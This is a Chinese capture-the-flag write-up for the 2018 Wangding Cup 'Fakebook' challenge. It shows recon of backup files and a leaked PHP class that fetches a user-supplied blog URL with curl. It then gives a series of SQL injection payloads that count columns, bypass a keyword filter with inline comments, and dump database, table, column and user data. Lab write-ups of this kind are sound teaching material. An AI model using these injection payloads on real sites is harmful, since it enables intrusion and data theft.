[网鼎杯 2018]Fakebook

打开环境出现一个登录注册的页面

在登录和注册中发现了地址栏出现变化，扫一波看看

看看robots.txt和flag.php 访问robots.txt看看

再访问user.php.bak

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

想起来刚刚有一个注册的，先注册一个看看

填的时候可以随便复制一篇内容过去看看，这样才能进行注册

并且发现一个注入点，尝试一下简单的注入

order by 4# 页面回显正常

order by 5# 页面回显不正常

说明有四个字段

union查看显位

?no=1 union select 1,2,3,4#                  no hack ~_~
?no=1 ununionion seselectlect database();    no
?no=1 uNion sElEct database();               no
?no=1 union/**/select 1,2,3,4#               yes
?no=0 union/**/select 1,database(),3,4#      yes

测试中发现过滤了空格

回显的位置是2

库表字段内容

爆库:?no=-1 union/**/select 1,database(),3,4#
报表:?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆字段:?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
爆data值:?no=-1 union/**/select 1,group_concat(data),3,4 from users #